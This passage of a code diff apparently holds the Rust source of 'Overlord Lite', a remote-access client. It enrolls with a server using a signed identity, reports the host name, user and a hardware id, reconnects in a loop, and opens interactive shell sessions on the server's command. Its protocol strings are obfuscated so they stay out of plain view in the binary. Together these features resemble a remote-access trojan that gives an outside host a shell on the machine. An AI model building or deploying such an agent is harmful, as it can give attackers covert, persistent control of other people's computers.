assert!(validate_session_id(&"x".repeat(129)).is_err());
|
||||||
|
assert!(validate_session_id("console-1").is_ok());
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn terminal_streams_command_output() {
|
||||||
|
let (tx, mut rx) = tokio::sync::mpsc::channel(64);
|
||||||
|
let mut hub = ConsoleHub::new(tx);
|
||||||
|
hub.start("smoke", 80, 24).unwrap();
|
||||||
|
let input = if cfg!(windows) {
|
||||||
|
"\x1b[1;1Recho overlord-lite-tty\r\nexit\r\n"
|
||||||
|
} else {
|
||||||
|
"echo overlord-lite-tty\nexit\n"
|
||||||
|
};
|
||||||
|
hub.write("smoke", input).unwrap();
|
||||||
|
|
||||||
|
let deadline = Instant::now() + Duration::from_secs(10);
|
||||||
|
let mut output = Vec::new();
|
||||||
|
while Instant::now() < deadline {
|
||||||
|
match rx.try_recv() {
|
||||||
|
Ok(message) => {
|
||||||
|
let decoded = protocol::decode(&message).unwrap();
|
||||||
|
if let Some(rmpv::Value::Binary(data)) = protocol::field(&decoded, "data") {
|
||||||
|
output.extend_from_slice(data);
|
||||||
|
if String::from_utf8_lossy(&output).contains("overlord-lite-tty") {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if protocol::integer_field(&decoded, "exitCode").is_some() {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
Err(tokio::sync::mpsc::error::TryRecvError::Empty) => {
|
||||||
|
thread::sleep(Duration::from_millis(10));
|
||||||
|
}
|
||||||
|
Err(tokio::sync::mpsc::error::TryRecvError::Disconnected) => break,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
hub.stop_all();
|
||||||
|
assert!(
|
||||||
|
String::from_utf8_lossy(&output).contains("overlord-lite-tty"),
|
||||||
|
"terminal output did not contain the marker: {:?}",
|
||||||
|
String::from_utf8_lossy(&output)
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,91 @@
|
|||||||
|
use std::{fs, path::Path};
|
||||||
|
|
||||||
|
use anyhow::{Context, Result, bail};
|
||||||
|
use base64::{Engine as _, engine::general_purpose::STANDARD};
|
||||||
|
use ed25519_dalek::{Signer, SigningKey};
|
||||||
|
use rand_core::OsRng;
|
||||||
|
use serde::{Deserialize, Serialize};
|
||||||
|
use sha2::{Digest, Sha256};
|
||||||
|
use uuid::Uuid;
|
||||||
|
|
||||||
|
#[derive(Debug)]
|
||||||
|
pub struct Identity {
|
||||||
|
pub client_id: String,
|
||||||
|
signing_key: SigningKey,
|
||||||
|
}
|
||||||
|
|
||||||
|
#[derive(Serialize, Deserialize)]
|
||||||
|
struct StoredIdentity {
|
||||||
|
client_id: String,
|
||||||
|
seed_base64: String,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl Identity {
|
||||||
|
pub fn load_or_create(state_dir: &Path) -> Result<Self> {
|
||||||
|
fs::create_dir_all(state_dir)
|
||||||
|
.with_context(|| format!("create state directory {}", state_dir.display()))?;
|
||||||
|
let path = state_dir.join("identity.json");
|
||||||
|
if path.exists() {
|
||||||
|
let data = fs::read(&path).with_context(|| format!("read {}", path.display()))?;
|
||||||
|
let stored: StoredIdentity = serde_json::from_slice(&data)
|
||||||
|
.with_context(|| format!("parse {}", path.display()))?;
|
||||||
|
let seed = STANDARD
|
||||||
|
.decode(stored.seed_base64)
|
||||||
|
.context("decode identity seed")?;
|
||||||
|
let seed: [u8; 32] = seed
|
||||||
|
.try_into()
|
||||||
|
.map_err(|_| anyhow::anyhow!("identity seed must be 32 bytes"))?;
|
||||||
|
return Ok(Self {
|
||||||
|
client_id: stored.client_id,
|
||||||
|
signing_key: SigningKey::from_bytes(&seed),
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
let signing_key = SigningKey::generate(&mut OsRng);
|
||||||
|
let identity = Self {
|
||||||
|
client_id: Uuid::new_v4().to_string(),
|
||||||
|
signing_key,
|
||||||
|
};
|
||||||
|
let stored = StoredIdentity {
|
||||||
|
client_id: identity.client_id.clone(),
|
||||||
|
seed_base64: STANDARD.encode(identity.signing_key.to_bytes()),
|
||||||
|
};
|
||||||
|
let temp_path = state_dir.join("identity.json.tmp");
|
||||||
|
fs::write(&temp_path, serde_json::to_vec_pretty(&stored)?)
|
||||||
|
.with_context(|| format!("write {}", temp_path.display()))?;
|
||||||
|
set_private_permissions(&temp_path)?;
|
||||||
|
fs::rename(&temp_path, &path).with_context(|| format!("install {}", path.display()))?;
|
||||||
|
Ok(identity)
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn public_key_base64(&self) -> String {
|
||||||
|
STANDARD.encode(self.signing_key.verifying_key().as_bytes())
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn sign_base64(&self, nonce_base64: &str) -> Result<String> {
|
||||||
|
let nonce = STANDARD
|
||||||
|
.decode(nonce_base64)
|
||||||
|
.context("decode enrollment nonce")?;
|
||||||
|
if nonce.is_empty() {
|
||||||
|
bail!("enrollment nonce was empty");
|
||||||
|
}
|
||||||
|
Ok(STANDARD.encode(self.signing_key.sign(&nonce).to_bytes()))
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn fingerprint(&self) -> String {
|
||||||
|
let digest = Sha256::digest(self.signing_key.verifying_key().as_bytes());
|
||||||
|
digest.iter().map(|byte| format!("{byte:02x}")).collect()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#[cfg(unix)]
|
||||||
|
fn set_private_permissions(path: &Path) -> Result<()> {
|
||||||
|
use std::os::unix::fs::PermissionsExt;
|
||||||
|
fs::set_permissions(path, fs::Permissions::from_mode(0o600))?;
|
||||||
|
Ok(())
|
||||||
|
}
|
||||||
|
|
||||||
|
#[cfg(not(unix))]
|
||||||
|
fn set_private_permissions(_path: &Path) -> Result<()> {
|
||||||
|
Ok(())
|
||||||
|
}
|
||||||
@@ -0,0 +1,11 @@
|
|||||||
|
extern crate self as overlord_lite;
|
||||||
|
|
||||||
|
pub use overlord_lite_string_obfuscator::obfstr;
|
||||||
|
|
||||||
|
pub mod config;
|
||||||
|
pub mod console;
|
||||||
|
pub mod identity;
|
||||||
|
pub mod obfuscation;
|
||||||
|
pub mod protocol;
|
||||||
|
pub mod session;
|
||||||
|
pub mod tls;
|
||||||
@@ -0,0 +1,53 @@
|
|||||||
|
use anyhow::Result;
|
||||||
|
use overlord_lite::{config::Config, identity::Identity, session};
|
||||||
|
|
||||||
|
#[tokio::main]
|
||||||
|
async fn main() -> Result<()> {
|
||||||
|
let config = Config::from_env()?;
|
||||||
|
let identity = Identity::load_or_create(&config.state_dir)?;
|
||||||
|
|
||||||
|
eprintln!(
|
||||||
|
"Overlord Lite {} starting as {} (identity {})",
|
||||||
|
env!("CARGO_PKG_VERSION"),
|
||||||
|
identity.client_id,
|
||||||
|
identity.fingerprint()
|
||||||
|
);
|
||||||
|
if config.insecure_tls {
|
||||||
|
eprintln!("WARNING: TLS certificate verification is disabled");
|
||||||
|
} else if !config.tls_spki_pins.is_empty() {
|
||||||
|
eprintln!(
|
||||||
|
"TLS server identity pinning enabled ({} trusted key{})",
|
||||||
|
config.tls_spki_pins.len(),
|
||||||
|
if config.tls_spki_pins.len() == 1 {
|
||||||
|
""
|
||||||
|
} else {
|
||||||
|
"s"
|
||||||
|
},
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
let mut server_index = 0usize;
|
||||||
|
loop {
|
||||||
|
let server = &config.servers[server_index % config.servers.len()];
|
||||||
|
eprintln!("connecting to {server}");
|
||||||
|
|
||||||
|
tokio::select! {
|
||||||
|
result = session::run(&config, &identity, server) => {
|
||||||
|
match result {
|
||||||
|
Ok(()) => eprintln!("session ended"),
|
||||||
|
Err(error) => eprintln!("session error: {error:#}"),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
_ = tokio::signal::ctrl_c() => {
|
||||||
|
eprintln!("shutdown requested");
|
||||||
|
return Ok(());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
server_index = (server_index + 1) % config.servers.len();
|
||||||
|
tokio::select! {
|
||||||
|
_ = tokio::time::sleep(config.reconnect_delay) => {}
|
||||||
|
_ = tokio::signal::ctrl_c() => return Ok(()),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,38 @@
|
|||||||
|
/// Reconstructs a string emitted by `obfstr!`.
|
||||||
|
///
|
||||||
|
/// `black_box` plus the non-inlined boundary keeps release LTO from replacing
|
||||||
|
/// the call with a plaintext constant. This is binary obfuscation, not secret
|
||||||
|
/// storage: a determined analyst can still recover strings from a running
|
||||||
|
/// process or reverse the decoder.
|
||||||
|
#[inline(never)]
|
||||||
|
pub fn decrypt(encrypted: &[u8], seed: u64) -> String {
|
||||||
|
let encrypted = std::hint::black_box(encrypted);
|
||||||
|
let mut state = std::hint::black_box(seed | 1);
|
||||||
|
let plaintext = encrypted
|
||||||
|
.iter()
|
||||||
|
.map(|byte| byte ^ next_key_byte(&mut state))
|
||||||
|
.collect();
|
||||||
|
String::from_utf8(plaintext).expect("obfstr generated invalid UTF-8")
|
||||||
|
}
|
||||||
|
|
||||||
|
fn next_key_byte(state: &mut u64) -> u8 {
|
||||||
|
*state ^= *state >> 12;
|
||||||
|
*state ^= *state << 25;
|
||||||
|
*state ^= *state >> 27;
|
||||||
|
(state.wrapping_mul(0x2545_f491_4f6c_dd1d) >> 56) as u8
|
||||||
|
}
|
||||||
|
|
||||||
|
#[cfg(test)]
|
||||||
|
mod tests {
|
||||||
|
use crate::obfstr;
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn decrypts_compile_time_string() {
|
||||||
|
assert_eq!(
|
||||||
|
obfstr!("overlord-obfuscation-marker"),
|
||||||
|
"overlord-obfuscation-marker"
|
||||||
|
);
|
||||||
|
assert_eq!(obfstr!("Unicode: ☃"), "Unicode: ☃");
|
||||||
|
assert!(obfstr!("").is_empty());
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,140 @@
|
|||||||
|
use std::collections::BTreeMap;
|
||||||
|
|
||||||
|
use anyhow::{Context, Result, anyhow};
|
||||||
|
use rmpv::Value;
|
||||||
|
use serde::Serialize;
|
||||||
|
|
||||||
|
include!(concat!(env!("OUT_DIR"), "/wire_contract.rs"));
|
||||||
|
|
||||||
|
#[derive(Clone, Debug, Serialize)]
|
||||||
|
#[serde(rename_all = "camelCase")]
|
||||||
|
pub struct CommandVersionRange {
|
||||||
|
pub min: u16,
|
||||||
|
pub max: u16,
|
||||||
|
}
|
||||||
|
|
||||||
|
#[derive(Debug, Serialize)]
|
||||||
|
#[serde(rename_all = "camelCase")]
|
||||||
|
pub struct Hello<'a> {
|
||||||
|
#[serde(rename = "type")]
|
||||||
|
pub message_type: &'static str,
|
||||||
|
pub id: &'a str,
|
||||||
|
pub hwid: &'a str,
|
||||||
|
pub host: String,
|
||||||
|
pub os: &'static str,
|
||||||
|
pub arch: &'static str,
|
||||||
|
pub version: &'static str,
|
||||||
|
pub user: String,
|
||||||
|
pub monitors: u8,
|
||||||
|
#[serde(skip_serializing_if = "Option::is_none")]
|
||||||
|
pub build_tag: Option<&'a str>,
|
||||||
|
pub public_key: &'a str,
|
||||||
|
pub signature: &'a str,
|
||||||
|
pub protocol_version: u16,
|
||||||
|
pub command_versions: BTreeMap<String, CommandVersionRange>,
|
||||||
|
}
|
||||||
|
|
||||||
|
#[derive(Debug, Serialize)]
|
||||||
|
pub struct Ping {
|
||||||
|
#[serde(rename = "type")]
|
||||||
|
pub message_type: &'static str,
|
||||||
|
pub ts: i64,
|
||||||
|
}
|
||||||
|
|
||||||
|
#[derive(Debug, Serialize)]
|
||||||
|
#[serde(rename_all = "camelCase")]
|
||||||
|
pub struct CommandResult<'a> {
|
||||||
|
#[serde(rename = "type")]
|
||||||
|
pub message_type: &'static str,
|
||||||
|
pub command_id: &'a str,
|
||||||
|
pub command_type: &'a str,
|
||||||
|
pub command_version: u16,
|
||||||
|
pub ok: bool,
|
||||||
|
#[serde(skip_serializing_if = "Option::is_none")]
|
||||||
|
pub message: Option<&'a str>,
|
||||||
|
#[serde(skip_serializing_if = "Option::is_none")]
|
||||||
|
pub error_code: Option<&'a str>,
|
||||||
|
}
|
||||||
|
|
||||||
|
#[derive(Debug, Serialize)]
|
||||||
|
#[serde(rename_all = "camelCase")]
|
||||||
|
pub struct ConsoleOutput<'a> {
|
||||||
|
#[serde(rename = "type")]
|
||||||
|
pub message_type: &'static str,
|
||||||
|
pub session_id: &'a str,
|
||||||
|
#[serde(skip_serializing_if = "Option::is_none")]
|
||||||
|
pub data: Option<&'a serde_bytes::Bytes>,
|
||||||
|
#[serde(skip_serializing_if = "Option::is_none")]
|
||||||
|
pub exit_code: Option<i32>,
|
||||||
|
#[serde(skip_serializing_if = "Option::is_none")]
|
||||||
|
pub error: Option<&'a str>,
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn encode<T: Serialize>(value: &T) -> Result<Vec<u8>> {
|
||||||
|
rmp_serde::to_vec_named(value).context("encode MessagePack")
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn decode(bytes: &[u8]) -> Result<Value> {
|
||||||
|
rmp_serde::from_slice(bytes).context("decode MessagePack")
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn field<'a>(value: &'a Value, name: &str) -> Option<&'a Value> {
|
||||||
|
value
|
||||||
|
.as_map()?
|
||||||
|
.iter()
|
||||||
|
.find_map(|(key, value)| (key.as_str() == Some(name)).then_some(value))
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn string_field<'a>(value: &'a Value, name: &str) -> Option<&'a str> {
|
||||||
|
field(value, name)?.as_str()
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn required_string<'a>(value: &'a Value, name: &str) -> Result<&'a str> {
|
||||||
|
string_field(value, name).ok_or_else(|| anyhow!("missing or invalid {name}"))
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn integer_field(value: &Value, name: &str) -> Option<i64> {
|
||||||
|
let value = field(value, name)?;
|
||||||
|
value
|
||||||
|
.as_i64()
|
||||||
|
.or_else(|| value.as_u64().and_then(|number| i64::try_from(number).ok()))
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn command_versions() -> BTreeMap<String, CommandVersionRange> {
|
||||||
|
lite_command_version_support()
|
||||||
|
.into_iter()
|
||||||
|
.map(|(command, min, max)| (command, CommandVersionRange { min, max }))
|
||||||
|
.collect()
|
||||||
|
}
|
||||||
|
|
||||||
|
#[cfg(test)]
|
||||||
|
mod tests {
|
||||||
|
use super::*;
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn advertises_only_console_commands() {
|
||||||
|
let commands = command_versions();
|
||||||
|
assert_eq!(commands.len(), 4);
|
||||||
|
for command in [
|
||||||
|
"console_input",
|
||||||
|
"console_resize",
|
||||||
|
"console_start",
|
||||||
|
"console_stop",
|
||||||
|
] {
|
||||||
|
let versions = commands.get(command).unwrap();
|
||||||
|
assert_eq!(versions.min, 1);
|
||||||
|
assert_eq!(versions.max, 1);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn messagepack_uses_wire_field_names() {
|
||||||
|
let ping = Ping {
|
||||||
|
message_type: "ping",
|
||||||
|
ts: 123,
|
||||||
|
};
|
||||||
|
let decoded = decode(&encode(&ping).unwrap()).unwrap();
|
||||||
|
assert_eq!(string_field(&decoded, "type"), Some("ping"));
|
||||||
|
assert_eq!(integer_field(&decoded, "ts"), Some(123));
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,521 @@
|
|||||||
|
use std::{
|
||||||
|
sync::LazyLock,
|
||||||
|
time::{Duration, SystemTime, UNIX_EPOCH},
|
||||||
|
};
|
||||||
|
|
||||||
|
use crate::{
|
||||||
|
config::{Config, ServerUrl},
|
||||||
|
console::ConsoleHub,
|
||||||
|
identity::Identity,
|
||||||
|
obfstr,
|
||||||
|
protocol::{self, CommandResult, Hello, Ping},
|
||||||
|
tls,
|
||||||
|
};
|
||||||
|
use anyhow::{Context, Result, anyhow, bail};
|
||||||
|
use futures_util::{SinkExt, StreamExt};
|
||||||
|
use rmpv::Value;
|
||||||
|
use tokio::net::TcpStream;
|
||||||
|
use tokio_tungstenite::{
|
||||||
|
MaybeTlsStream, WebSocketStream, connect_async_tls_with_config,
|
||||||
|
tungstenite::{
|
||||||
|
Message,
|
||||||
|
client::IntoClientRequest,
|
||||||
|
http::{HeaderName, HeaderValue},
|
||||||
|
},
|
||||||
|
};
|
||||||
|
|
||||||
|
type Socket = WebSocketStream<MaybeTlsStream<TcpStream>>;
|
||||||
|
|
||||||
|
static API_CLIENTS_PREFIX: LazyLock<String> = LazyLock::new(|| obfstr!("/api/clients/"));
|
||||||
|
static STREAM_WS_SUFFIX: LazyLock<String> = LazyLock::new(|| obfstr!("/stream/ws"));
|
||||||
|
static ROLE_CLIENT: LazyLock<String> = LazyLock::new(|| obfstr!("role=client"));
|
||||||
|
static WEBSOCKET_PROTOCOL_HEADER: LazyLock<String> =
|
||||||
|
LazyLock::new(|| obfstr!("Sec-WebSocket-Protocol"));
|
||||||
|
static AGENT_TOKEN_HEADER: LazyLock<String> = LazyLock::new(|| obfstr!("x-agent-token"));
|
||||||
|
static BINARY_PROTOCOL: LazyLock<String> = LazyLock::new(|| obfstr!("binary"));
|
||||||
|
static FIELD_TYPE: LazyLock<String> = LazyLock::new(|| obfstr!("type"));
|
||||||
|
static FIELD_NONCE: LazyLock<String> = LazyLock::new(|| obfstr!("nonce"));
|
||||||
|
static FIELD_STATUS: LazyLock<String> = LazyLock::new(|| obfstr!("status"));
|
||||||
|
static FIELD_ID: LazyLock<String> = LazyLock::new(|| obfstr!("id"));
|
||||||
|
static FIELD_COMMAND_TYPE: LazyLock<String> = LazyLock::new(|| obfstr!("commandType"));
|
||||||
|
static FIELD_COMMAND_VERSION: LazyLock<String> = LazyLock::new(|| obfstr!("commandVersion"));
|
||||||
|
static FIELD_PAYLOAD: LazyLock<String> = LazyLock::new(|| obfstr!("payload"));
|
||||||
|
static FIELD_SESSION_ID: LazyLock<String> = LazyLock::new(|| obfstr!("sessionId"));
|
||||||
|
static FIELD_DATA: LazyLock<String> = LazyLock::new(|| obfstr!("data"));
|
||||||
|
static FIELD_COLS: LazyLock<String> = LazyLock::new(|| obfstr!("cols"));
|
||||||
|
static FIELD_ROWS: LazyLock<String> = LazyLock::new(|| obfstr!("rows"));
|
||||||
|
static FIELD_TS: LazyLock<String> = LazyLock::new(|| obfstr!("ts"));
|
||||||
|
static ENROLLMENT_CHALLENGE: LazyLock<String> = LazyLock::new(|| obfstr!("enrollment_challenge"));
|
||||||
|
static ENROLLMENT_STATUS: LazyLock<String> = LazyLock::new(|| obfstr!("enrollment_status"));
|
||||||
|
static HELLO: LazyLock<String> = LazyLock::new(|| obfstr!("hello"));
|
||||||
|
static HELLO_ACK: LazyLock<String> = LazyLock::new(|| obfstr!("hello_ack"));
|
||||||
|
static PING: LazyLock<String> = LazyLock::new(|| obfstr!("ping"));
|
||||||
|
static PONG: LazyLock<String> = LazyLock::new(|| obfstr!("pong"));
|
||||||
|
static COMMAND: LazyLock<String> = LazyLock::new(|| obfstr!("command"));
|
||||||
|
static COMMAND_RESULT: LazyLock<String> = LazyLock::new(|| obfstr!("command_result"));
|
||||||
|
static CONSOLE_START: LazyLock<String> = LazyLock::new(|| obfstr!("console_start"));
|
||||||
|
static CONSOLE_INPUT: LazyLock<String> = LazyLock::new(|| obfstr!("console_input"));
|
||||||
|
static CONSOLE_RESIZE: LazyLock<String> = LazyLock::new(|| obfstr!("console_resize"));
|
||||||
|
static CONSOLE_STOP: LazyLock<String> = LazyLock::new(|| obfstr!("console_stop"));
|
||||||
|
static CLIENT_VERSION: LazyLock<String> =
|
||||||
|
LazyLock::new(|| format!("{}{}", obfstr!("rust-lite/"), env!("CARGO_PKG_VERSION")));
|
||||||
|
|
||||||
|
pub async fn run(config: &Config, identity: &Identity, server: &ServerUrl) -> Result<()> {
|
||||||
|
let socket_url = format!(
|
||||||
|
"{}{}{}{}?{}",
|
||||||
|
server.as_str().trim_end_matches('/'),
|
||||||
|
API_CLIENTS_PREFIX.as_str(),
|
||||||
|
identity.client_id,
|
||||||
|
STREAM_WS_SUFFIX.as_str(),
|
||||||
|
ROLE_CLIENT.as_str(),
|
||||||
|
);
|
||||||
|
|
||||||
|
let mut request = socket_url.into_client_request()?;
|
||||||
|
request.headers_mut().insert(
|
||||||
|
HeaderName::from_bytes(WEBSOCKET_PROTOCOL_HEADER.as_bytes())?,
|
||||||
|
HeaderValue::from_str(BINARY_PROTOCOL.as_str())?,
|
||||||
|
);
|
||||||
|
if let Some(token) = &config.agent_token {
|
||||||
|
request.headers_mut().insert(
|
||||||
|
HeaderName::from_bytes(AGENT_TOKEN_HEADER.as_bytes())?,
|
||||||
|
HeaderValue::from_str(token)?,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
let connector = tls::websocket_connector(config.insecure_tls, &config.tls_spki_pins);
|
||||||
|
let (mut socket, _) = connect_async_tls_with_config(request, None, true, connector)
|
||||||
|
.await
|
||||||
|
.with_context(|| format!("connect to {server}"))?;
|
||||||
|
|
||||||
|
let first = tokio::time::timeout(Duration::from_secs(30), receive_envelope(&mut socket))
|
||||||
|
.await
|
||||||
|
.context("timed out waiting for enrollment challenge")??;
|
||||||
|
let first_type = protocol::required_string(&first, FIELD_TYPE.as_str())?;
|
||||||
|
let (public_key, signature, needs_ack) = if first_type == ENROLLMENT_CHALLENGE.as_str() {
|
||||||
|
let nonce = protocol::required_string(&first, FIELD_NONCE.as_str())?;
|
||||||
|
(
|
||||||
|
identity.public_key_base64(),
|
||||||
|
identity.sign_base64(nonce)?,
|
||||||
|
true,
|
||||||
|
)
|
||||||
|
} else if first_type == HELLO_ACK.as_str() {
|
||||||
|
(String::new(), String::new(), false)
|
||||||
|
} else {
|
||||||
|
bail!("unexpected first server message {first_type:?}")
|
||||||
|
};
|
||||||
|
|
||||||
|
let hello = Hello {
|
||||||
|
message_type: HELLO.as_str(),
|
||||||
|
id: &identity.client_id,
|
||||||
|
hwid: &identity.client_id,
|
||||||
|
host: hostname(),
|
||||||
|
os: wire_os(),
|
||||||
|
arch: wire_arch(),
|
||||||
|
version: CLIENT_VERSION.as_str(),
|
||||||
|
user: username(),
|
||||||
|
monitors: 0,
|
||||||
|
build_tag: config.build_tag.as_deref(),
|
||||||
|
public_key: &public_key,
|
||||||
|
signature: &signature,
|
||||||
|
protocol_version: protocol::WIRE_PROTOCOL_VERSION,
|
||||||
|
command_versions: protocol::command_versions(),
|
||||||
|
};
|
||||||
|
send_value(&mut socket, &hello).await?;
|
||||||
|
|
||||||
|
if needs_ack {
|
||||||
|
loop {
|
||||||
|
let response =
|
||||||
|
tokio::time::timeout(Duration::from_secs(30), receive_envelope(&mut socket))
|
||||||
|
.await
|
||||||
|
.context("timed out waiting for enrollment status")??;
|
||||||
|
let response_type = protocol::required_string(&response, FIELD_TYPE.as_str())?;
|
||||||
|
if response_type == HELLO_ACK.as_str() {
|
||||||
|
break;
|
||||||
|
} else if response_type == ENROLLMENT_STATUS.as_str() {
|
||||||
|
let status =
|
||||||
|
protocol::string_field(&response, FIELD_STATUS.as_str()).unwrap_or("unknown");
|
||||||
|
bail!("enrollment status is {status}");
|
||||||
|
} else if response_type == PING.as_str() {
|
||||||
|
send_protocol_pong(&mut socket, &response).await?;
|
||||||
|
} else if response_type != PONG.as_str() {
|
||||||
|
bail!("unexpected enrollment response {response_type:?}");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
eprintln!("authenticated and connected as {}", identity.client_id);
|
||||||
|
send_value(
|
||||||
|
&mut socket,
|
||||||
|
&Ping {
|
||||||
|
message_type: PING.as_str(),
|
||||||
|
ts: now_millis(),
|
||||||
|
},
|
||||||
|
)
|
||||||
|
.await?;
|
||||||
|
|
||||||
|
let mut heartbeat =
|
||||||
|
tokio::time::interval(config.heartbeat_interval.max(Duration::from_secs(1)));
|
||||||
|
heartbeat.set_missed_tick_behavior(tokio::time::MissedTickBehavior::Delay);
|
||||||
|
heartbeat.tick().await;
|
||||||
|
let (console_tx, mut console_rx) = tokio::sync::mpsc::channel(64);
|
||||||
|
let mut consoles = ConsoleHub::new(console_tx);
|
||||||
|
|
||||||
|
loop {
|
||||||
|
tokio::select! {
|
||||||
|
_ = heartbeat.tick() => {
|
||||||
|
send_value(&mut socket, &Ping { message_type: PING.as_str(), ts: now_millis() }).await?;
|
||||||
|
}
|
||||||
|
incoming = socket.next() => {
|
||||||
|
let message = incoming.ok_or_else(|| anyhow!("server closed the WebSocket"))??;
|
||||||
|
match message {
|
||||||
|
Message::Binary(bytes) => {
|
||||||
|
let envelope = protocol::decode(&bytes)?;
|
||||||
|
handle_envelope(&mut socket, &mut consoles, &envelope).await?;
|
||||||
|
}
|
||||||
|
Message::Ping(bytes) => socket.send(Message::Pong(bytes)).await?,
|
||||||
|
Message::Pong(_) => {}
|
||||||
|
Message::Close(frame) => bail!("server closed the session: {frame:?}"),
|
||||||
|
Message::Text(_) | Message::Frame(_) => {}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
output = console_rx.recv() => {
|
||||||
|
if let Some(output) = output {
|
||||||
|
socket.send(Message::Binary(output.into())).await?;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
async fn handle_envelope(
|
||||||
|
socket: &mut Socket,
|
||||||
|
consoles: &mut ConsoleHub,
|
||||||
|
envelope: &Value,
|
||||||
|
) -> Result<()> {
|
||||||
|
let message_type = protocol::required_string(envelope, FIELD_TYPE.as_str())?;
|
||||||
|
if message_type == PING.as_str() {
|
||||||
|
send_protocol_pong(socket, envelope).await?;
|
||||||
|
} else if message_type == COMMAND.as_str() {
|
||||||
|
handle_command(socket, consoles, envelope).await?;
|
||||||
|
} else if message_type != PONG.as_str() && message_type != HELLO_ACK.as_str() {
|
||||||
|
eprintln!("ignoring unsupported server message {message_type}");
|
||||||
|
}
|
||||||
|
Ok(())
|
||||||
|
}
|
||||||
|
|
||||||
|
async fn handle_command(
|
||||||
|
socket: &mut Socket,
|
||||||
|
consoles: &mut ConsoleHub,
|
||||||
|
envelope: &Value,
|
||||||
|
) -> Result<()> {
|
||||||
|
let command = protocol::required_string(envelope, FIELD_COMMAND_TYPE.as_str())?;
|
||||||
|
if !is_console_command(command) {
|
||||||
|
return send_unsupported_command(socket, envelope).await;
|
||||||
|
}
|
||||||
|
|
||||||
|
let command_id = protocol::string_field(envelope, FIELD_ID.as_str()).unwrap_or("");
|
||||||
|
let command_version = protocol::integer_field(envelope, FIELD_COMMAND_VERSION.as_str())
|
||||||
|
.unwrap_or(1)
|
||||||
|
.max(1) as u16;
|
||||||
|
if command_version != 1 {
|
||||||
|
return send_command_result(
|
||||||
|
socket,
|
||||||
|
command_id,
|
||||||
|
command,
|
||||||
|
command_version,
|
||||||
|
false,
|
||||||
|
Some("unsupported console command version"),
|
||||||
|
Some("unsupported_command_version"),
|
||||||
|
)
|
||||||
|
.await;
|
||||||
|
}
|
||||||
|
|
||||||
|
let payload = protocol::field(envelope, FIELD_PAYLOAD.as_str()).unwrap_or(&Value::Nil);
|
||||||
|
let session_id = protocol::string_field(payload, FIELD_SESSION_ID.as_str()).unwrap_or("");
|
||||||
|
let result = if command == CONSOLE_START.as_str() {
|
||||||
|
consoles.start(
|
||||||
|
session_id,
|
||||||
|
protocol::integer_field(payload, FIELD_COLS.as_str()).unwrap_or(0),
|
||||||
|
protocol::integer_field(payload, FIELD_ROWS.as_str()).unwrap_or(0),
|
||||||
|
)
|
||||||
|
} else if command == CONSOLE_INPUT.as_str() {
|
||||||
|
if session_id.is_empty() {
|
||||||
|
Ok(())
|
||||||
|
} else {
|
||||||
|
let data = protocol::string_field(payload, FIELD_DATA.as_str()).unwrap_or("");
|
||||||
|
consoles.write(session_id, data)
|
||||||
|
}
|
||||||
|
} else if command == CONSOLE_RESIZE.as_str() {
|
||||||
|
if session_id.is_empty() {
|
||||||
|
Ok(())
|
||||||
|
} else {
|
||||||
|
consoles.resize(
|
||||||
|
session_id,
|
||||||
|
protocol::integer_field(payload, FIELD_COLS.as_str()).unwrap_or(0),
|
||||||
|
protocol::integer_field(payload, FIELD_ROWS.as_str()).unwrap_or(0),
|
||||||
|
)
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
if !session_id.is_empty() {
|
||||||
|
consoles.stop(session_id);
|
||||||
|
}
|
||||||
|
Ok(())
|
||||||
|
};
|
||||||
|
|
||||||
|
match result {
|
||||||
|
Ok(()) => send_command_result(socket, command_id, command, 1, true, None, None).await,
|
||||||
|
Err(error) => {
|
||||||
|
let message = error.to_string();
|
||||||
|
send_command_result(
|
||||||
|
socket,
|
||||||
|
command_id,
|
||||||
|
command,
|
||||||
|
1,
|
||||||
|
false,
|
||||||
|
Some(&message),
|
||||||
|
Some("console_error"),
|
||||||
|
)
|
||||||
|
.await
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
async fn send_command_result(
|
||||||
|
socket: &mut Socket,
|
||||||
|
command_id: &str,
|
||||||
|
command_type: &str,
|
||||||
|
command_version: u16,
|
||||||
|
ok: bool,
|
||||||
|
message: Option<&str>,
|
||||||
|
error_code: Option<&str>,
|
||||||
|
) -> Result<()> {
|
||||||
|
send_value(
|
||||||
|
socket,
|
||||||
|
&CommandResult {
|
||||||
|
message_type: COMMAND_RESULT.as_str(),
|
||||||
|
command_id,
|
||||||
|
command_type,
|
||||||
|
command_version,
|
||||||
|
